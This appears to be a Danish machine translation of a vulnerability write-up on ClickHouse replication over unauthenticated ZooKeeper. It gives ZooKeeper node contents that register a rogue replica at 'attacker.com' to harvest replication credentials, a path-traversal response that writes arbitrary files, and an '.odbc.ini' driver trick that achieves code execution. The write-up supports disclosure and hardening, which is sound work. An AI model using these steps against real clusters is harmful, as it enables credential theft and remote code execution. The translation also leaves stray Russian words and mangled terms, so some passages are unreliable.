Hvorfor skal du holde zoo-bure lukket?

Hvorfor skal du holde zoo-bure lukket?

Denne artikel vil fortælle historien om en meget specifik sårbarhed i ClickHouse replikeringsprotokollen, og vil også vise, hvordan angrebsoverfladen kan udvides.

ClickHouse er en database til lagring af store mængder data, som oftest bruger mere end én replika. Clustering og replikering i ClickHouse er bygget ovenpå Apache ZooKeeper (ZK) og kræver skriverettigheder.

Standard ZK-installationen kræver ikke godkendelse, så tusindvis af ZK-servere, der bruges til at konfigurere Kafka, Hadoop, ClickHouse er offentligt tilgængelige.

For at reducere din angrebsflade bør du altid konfigurere godkendelse og autorisation, når du installerer ZooKeeper

Der er selvfølgelig nogle 0-dages-baserede Java-deserialiseringer, men forestil dig, at en angriber kunne læse og skrive til ZooKeeper, brugt til ClickHouse-replikering.

Når konfigureret i klyngetilstand, understøtter ClickHouse distribuerede forespørgsler DDL, der passerer gennem ZK - for dem oprettes noder i arket /clickhouse/task_queue/ddl.

For eksempel opretter du en node /clickhouse/task_queue/ddl/query-0001 med indhold:

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

og derefter vil testtabellen blive slettet på klyngeserverne host1 og host2. DDL understøtter også at køre CREATE/ALTER/DROP-forespørgsler.

Lyder det skræmmende? Men hvor kan en angriber få serveradresser?

ClickHouse replikering fungerer på niveau med individuelle tabeller, således at når en tabel oprettes i ZK, angives en server, der skal stå for udveksling af metadata med replikaer. For eksempel, når du udfører en anmodning (ZK skal konfigureres, chXX - navn på kopien, foobar - tabelnavn):

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

noder vil blive oprettet kolonner и metadata.

Indhold /clickhouse/tables/01/foobar/replicas/chXX/hosts:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Er det muligt at flette data fra denne klynge? Ja, hvis replikeringsporten (TCP/9009) på serveren chXX-address firewallen vil ikke blive lukket, og godkendelse til replikering vil ikke blive konfigureret. Hvordan omgår man godkendelse?

En angriber kan oprette en ny replika i ZK ved blot at kopiere indholdet fra /clickhouse/tables/01-01/foobar/replicas/chXX og ændre betydningen host.

Indhold /clickhouse/tables/01–01/foobar/replicas/attacker/host:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Så skal du fortælle de andre replikaer, at der er en ny blok af data på angriberens server, som de skal tage - en node oprettes i ZK /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX monotont voksende tæller, som bør være større end den sidste i hændelsesloggen):

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

где kilde_replika — navnet på angriberens replika oprettet i det forrige trin, blok_id — datablokidentifikator, - "hent blokering" kommando (og her er kommandoer til andre operationer).

Dernæst læser hver replika en ny hændelse i loggen og går til en server styret af angriberen for at modtage en blok af data (replikeringsprotokollen er binær, kører oven på HTTP). Server attacker.com vil modtage anmodninger:

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

hvor XXX er godkendelsesdataene for replikering. I nogle tilfælde kan dette være en konto med adgang til databasen via hoved-ClickHouse-protokollen og HTTP-protokollen. Som du har set, bliver angrebsoverfladen kritisk stor, fordi ZooKeeper, der bruges til replikering, blev efterladt uden godkendelse konfigureret.

Lad os se på funktionen af ​​at få en blok af data fra en replika, det er skrevet med fuld tillid til, at alle replikaer er under ordentlig kontrol, og der er tillid mellem dem.

Hvorfor skal du holde zoo-bure lukket?
replikeringsbehandlingskode

Funktionen læser en liste over filer, derefter deres navne, størrelser, indhold og skriver dem derefter til filsystemet. Det er værd at beskrive separat, hvordan data lagres i filsystemet.

Der er flere undermapper i /var/lib/clickhouse (standard lagermappe fra konfigurationsfilen):

flag - bibliotek til optagelse flag, bruges til gendannelse efter tab af data;
tmp — bibliotek til lagring af midlertidige filer;
bruger_filer — handlinger med filer i anmodninger er begrænset til denne mappe (INTO OUTFILE og andre);
metadata — sql-filer med tabelbeskrivelser;
preprocessed_configs - behandlede afledte konfigurationsfiler fra /etc/clickhouse-server;
data - den faktiske mappe med selve dataene, i dette tilfælde oprettes en separat undermappe her for hver database (f.eks /var/lib/clickhouse/data/default).

For hver tabel oprettes en undermappe i databasebiblioteket. Hver kolonne er en separat fil afhængig af motorformat. For eksempel til et bord foobaroprettet af en angriber, oprettes følgende filer:

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

Replikaen forventer at modtage filer med de samme navne ved behandling af en datablok og validerer dem ikke på nogen måde.

Den opmærksomme læser har sikkert allerede hørt om den usikre sammenkædning af filnavn i en funktion WriteBufferFromFile. Ja, dette tillader en angriber at skrive vilkårligt indhold til enhver fil på FS med brugerrettigheder clickhouse. For at gøre dette skal den replika, der kontrolleres af angriberen, returnere følgende svar på anmodningen (linjeskift er tilføjet for at lette forståelsen):

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

og efter sammenkædning ../../../../../../../../../tmp/pwned filen vil blive skrevet /tmp/pwned med indhold hellofromzookeeper.

Der er flere muligheder for at omdanne filskrivningskapacitet til fjernudførelse af kode (RCE).

Eksterne ordbøger i RCE

I ældre versioner blev mappen med ClickHouse-indstillinger gemt med brugerrettigheder klikhus Standard. Indstillingsfiler er XML-filer, som tjenesten læser ved opstart og derefter caches ind /var/lib/clickhouse/preprocessed_configs. Når der sker ændringer, genlæses de. Hvis du har adgang til /etc/clickhouse-server en angriber kan skabe sin egen ekstern ordbog eksekverbar type og udfør derefter vilkårlig kode. Nuværende versioner af ClickHouse giver ikke rettigheder som standard, men hvis serveren gradvist blev opdateret, kunne sådanne rettigheder forblive. Hvis du understøtter en ClickHouse-klynge, skal du kontrollere rettighederne til indstillingsbiblioteket, det skal tilhøre brugeren root.

ODBC til RCE

Ved installation af en pakke oprettes en bruger clickhouse, men dens hjemmemappe er ikke oprettet /nonexistent. Men når du bruger eksterne ordbøger, eller af andre årsager, opretter administratorer en mappe /nonexistent og give brugeren clickhouse adgang til at skrive til det (SSZB! ca. oversætter).

ClickHouse understøtter ODBC og kan oprette forbindelse til andre databaser. I ODBC kan du angive stien til databasedriverbiblioteket (.so). Ældre versioner af ClickHouse tillod dig at gøre dette direkte i anmodningshåndteringen, men nu er der tilføjet en mere streng kontrol af forbindelsesstrengen til odbc-bridge, så det er ikke længere muligt at angive driverstien fra anmodningen. Men kan en angriber skrive til hjemmebiblioteket ved hjælp af sårbarheden beskrevet ovenfor?

Lad os oprette en fil ~/.odbc.ini med indhold som dette:

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

derefter ved opstart SELECT * FROM odbc('DSN=lalala', 'test', 'test'); biblioteket vil blive indlæst test.so og modtog RCE (tak buglloc for tippet).

Disse og andre sårbarheder er blevet rettet i ClickHouse version 19.14.3. Pas på dine ClickHouse og ZooKeepers!

Kilde: www.habr.com

Tilføj en kommentar